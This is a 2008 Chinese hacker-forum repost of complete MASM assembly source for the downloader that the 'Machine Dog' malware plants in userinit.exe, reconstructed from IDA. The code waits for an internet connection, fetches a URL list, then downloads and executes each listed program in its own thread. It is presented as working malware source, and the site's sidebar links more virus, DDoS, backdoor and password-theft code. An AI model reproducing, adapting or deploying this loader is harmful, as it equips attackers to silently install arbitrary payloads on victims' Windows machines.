主页 PC知识 网管技术 黑客帝国 安全技术 开放系统 程序设计 搜索 技术论坛

 

相关联接
 
RHU本级分类

编程语言
程序代码
WIN/*NIX编程
其他类别
JAVA专区

 
RHU阅读排行
·新欢乐时光病毒源代码
·ShixxNote 6.net缓冲区溢出代码
·详细解析C++编写的ATM自动取款机模拟程序
·一个写硬盘的VBS脚本程序
·冲击波病毒源代码
·超级DDOS源码~每秒>4W
·socks5协议转http协议源码
·得到远程机器MAC地址源代码
·一个简单的CMDSHELL后门
·Win2000下系统进程隐藏代码

 
 
RHU最新文章
·MS Internet Explorer XML Parsing Buffer Overflow Exploit (vista) 0day网马生成器
·xml下载者VC源码
·Python写的蜘蛛程序代码
·C#抓取alexa排名的代码
·一个超级mail蠕虫的诞生
·洪水攻击原理及代码实现全攻略(附源代码)
·修改了一个抓包的程序(c语言队列)
·企业内部AD脆弱密码审计
·用vbs加用户的绝妙方法
·黑客编程利用Debug Api 获得QQ2007密码

 
 
RHU相关搜索









 
 
RHU广而告之

 
 
>您的位置:首页 -> 程序设计 -> 程序代码
机器狗写入到userinit.exe文件的下载者源码

作者:RHU-TAC编辑员 来自:RHU网络采集 时间:2008-2-24 双击滚屏 收藏本页 字体:


点击 查看RHU2004全年文章


文章作者:naitm
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
文章备注:从IDA中复制,稍作修改所得。
ASM
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 机器狗写入到userinit.exe文件的恶意代码
; by naitm http://hi.baidu.com/naitm)
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.386
.model flat,stdcall
option casemap:none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
include Advapi32.inc
includelib Advapi32.lib
include wininet.inc
includelib wininet.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data
nThreadCount dd 0
g_ThreadCount dd 0
PathName db '.',0
szAgent db 'Shell',0
szUser32Dll db 'user32.dll',0
szLoadRemoteFonts db 'LoadRemoteFonts',0
szSubKey db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',0
szUrlList db 'http://127.0.0.1/cert.cer',0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_RunIt proc @lpExePath

local @ProcessInformation:PROCESS_INFORMATION
local @StartupInfSTARTUPINFO


invoke GetStartupInfo,addr @StartupInfo
invoke CreateProcess,0,@lpExePath,0,0,0,20h,0,0,addr @StartupInfo,addr @ProcessInformation
.if eax == 0
invoke CloseHandle,@ProcessInformation.hThread
invoke CloseHandle,@ProcessInformation.hProcess
.endif

leave
retn 4
_RunIt endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_DownloadFile proc @lpURL,@lpSaveFile,@Buffer

local @hInternet,@hInternetFile,@hLocalFile,@nNumberOfBytesToWrite,@NumberOfBytesWritten,@nWriteCount
local @lpbuffer[200h]:BYTE

xor eax, eax
mov @nWriteCount, eax
invoke InternetOpen,addr szAgent,0,0,0,0
.if eax != 0
mov @hInternet, eax
invoke InternetSetOption,@hInternet,2,@Buffer,4
invoke InternetSetOption,@hInternet,6,@Buffer,4
invoke InternetOpenUrl,@hInternet,@lpURL,0,0,200000h,0
.if eax != 0
mov @hInternetFile, eax
mov @nNumberOfBytesToWrite, 0
mov @NumberOfBytesWritten, 200h
invoke HttpQueryInfo,@hInternetFile,13h,addr @lpbuffer,\
addr @NumberOfBytesWritten,addr @nNumberOfBytesToWrite
.if eax != 0
invoke CreateFile,@lpSaveFile,40000000h,0,0,4,0,0
.if eax != 0FFFFFFFFh
mov @hLocalFile, eax
.while TRUE
mov @nNumberOfBytesToWrite, 0
invoke InternetReadFile,@hInternetFile,addr @lpbuffer,200h,addr @nNumberOfBytesToWrite
.break .if (!eax)
.break .if (@nNumberOfBytesToWrite==0)
inc @nWriteCount
invoke WriteFile,@hLocalFile,addr @lpbuffer,@nNumberOfBytesToWrite,\
addr @NumberOfBytesWritten,0
.endw
invoke SetEndOfFile,@hLocalFile
invoke CloseHandle,@hLocalFile
.endif
.endif
invoke InternetCloseHandle,@hInternetFile
.endif
invoke InternetCloseHandle,@hInternet
.endif
mov eax, @nWriteCount
leave
retn 0Ch

_DownloadFile endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_DownloadEXERunIt proc @lpURL

local @DownTimes
local @TempFileName[204h]:BYTE
local @TempFileName2[204h]:BYTE
local @szUrl[104h]:BYTE

mov @DownTimes, 3Ch
invoke lstrcpy,addr @szUrl,@lpURL
invoke RtlZeroMemory,addr @TempFileName,204
invoke GetTempFileName,offset PathName,0,0,addr @TempFileName
invoke lstrcpy,addr @TempFileName2,addr @TempFileName

DownloadNxTime:
invoke _DownloadFile,addr @szUrl,addr @TempFileName,1388h
or eax, eax
jz DownloadFailed
invoke lstrcpy,addr @TempFileName,addr @TempFileName2
invoke _RunIt,addr @TempFileName
jmp DownloadEnd
; ---------------------------------------------------------------------------

DownloadFailed:
invoke Sleep,3E8h
dec @DownTimes
jnz DownloadNxTime

DownloadEnd:
dec nThreadCount
leave
retn 4
_DownloadEXERunIt endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
main proc

local hKey,hObject,hFile,lpBaseAddress,ThreadId
local szShellValue[104h]:BYTE

invoke LoadLibrary,offset szUser32Dll
or eax, eax
jz RegQueryShell
invoke GetProcAddress,eax,offset szLoadRemoteFonts
or eax, eax
jz RegQueryShell
call eax

RegQueryShell:

invoke RegOpenKeyEx,80000002h,offset szSubKey,0,20019h,addr hKey
or eax, eax
jnz TestInternet
mov ThreadId, 104h
invoke RtlZeroMemory,addr szShellValue,104h
invoke RegQueryValueEx,hKey,offset szAgent,0,0,addr szShellValue,addr ThreadId
invoke _RunIt,addr szShellValue
invoke RegCloseKey,hKey

TestInternet:

invoke Sleep,3E8h
invoke InternetGetConnectedState,addr ThreadId,0
or eax, eax
jnz InternetConnect_OK
jmp TestInternet
; ---------------------------------------------------------------------------

InternetConnect_OK:
invoke RtlZeroMemory,addr szShellValue,104h
invoke GetTempFileName,offset PathName,0,0,addr szShellValue

DownList:

invoke Sleep,3E8h
invoke _DownloadFile,offset szUrlList,addr szShellValue,1388h
or eax, eax
jz DownListFailed


mov nThreadCount, 0
invoke CreateFile,addr szShellValue,GENERIC_READ,0,0,3,0,0
cmp eax, INVALID_HANDLE_VALUE
jz ReaptDownList


mov hFile, eax
invoke GetFileSize,hFile,0
cmp eax, 0Fh
jnb BeginDownEXE
invoke CloseHandle,hFile
jmp DownList
; ---------------------------------------------------------------------------

BeginDownEXE:
invoke CreateFileMapping,hFile,0,2,0,0,0
or eax, eax
jz CreateMapFailed
mov hObject, eax
invoke MapViewOfFile,eax,4,0,0,0
or eax, eax
jz MapViewFailed

mov lpBaseAddress, eax
mov esi, eax

loc_4005E1:
lea edi, szShellValue
push 104h
push edi
call RtlZeroMemory

WetherNewLine:
lodsb
cmp al, 0Ah
jnz loc_4005F8
lodsb

loc_4005F8:
cmp al, 0Dh
jz loc_400605
stosb
or al, al
jz UrlListEnd
jmp WetherNewLine
; ---------------------------------------------------------------------------
jmp UrlListEnd
; ---------------------------------------------------------------------------

loc_400605:
cmp szShellValue, 0
jz NextLine
inc nThreadCount
invoke CreateThread,0,0,offset _DownloadEXERunIt,addr szShellValue,0,addr ThreadId
invoke CloseHandle,eax
invoke Sleep,64h

NextLine:
jmp loc_4005E1
; ---------------------------------------------------------------------------

UrlListEnd:

invoke UnmapViewOfFile,lpBaseAddress

MapViewFailed:
invoke CloseHandle,hObject

CreateMapFailed:
invoke CloseHandle,hFile
jmp WetherTreadend
; ---------------------------------------------------------------------------

ReaptDownList:
jmp DownList
; ---------------------------------------------------------------------------
jmp WetherTreadend
; ---------------------------------------------------------------------------

DownListFailed:
jmp DownList
; ---------------------------------------------------------------------------

WetherTreadend:

cmp nThreadCount, 0
jz ExitProgram
invoke Sleep,64h
jmp WetherTreadend
; ---------------------------------------------------------------------------

ExitProgram:
invoke ExitProcess,0

main endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
end start


OVER

[1] 页 RedHyphone.Union 投稿邮箱
[特别声明]:
本站文章大多搜索转载自网络中,如果侵犯了您的权利,请告之我们。本站将立即删除。
本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有。
查看评论】【向上滚屏】【关闭窗口】【 打印
-相关文章
  • 编程语言岁末盘点 C有望成为08年年度语言
  • MS Internet Explorer XML Parsing Buffer Overflow Exploit (vista) 0day网马生成器
  • 定时重启或关机的小工具 HTA文件
  • 快速开发一个PHP扩展
  • 如何编写PHP扩展
  • -文章评论 (关闭)
    ·还没有相关的评论!

    网上大名:
    红旋风网络技术联盟 RHUTech.Union
     
    Copyright © 2000-2007 RedHyphone.Union All Rights Reserved. 红旋风联盟版权所有.皖ICP备05011033号
    中国红旋风网络技术联盟 | www.RedHyphone.net
    Mailto:Redhyphone@gamil.com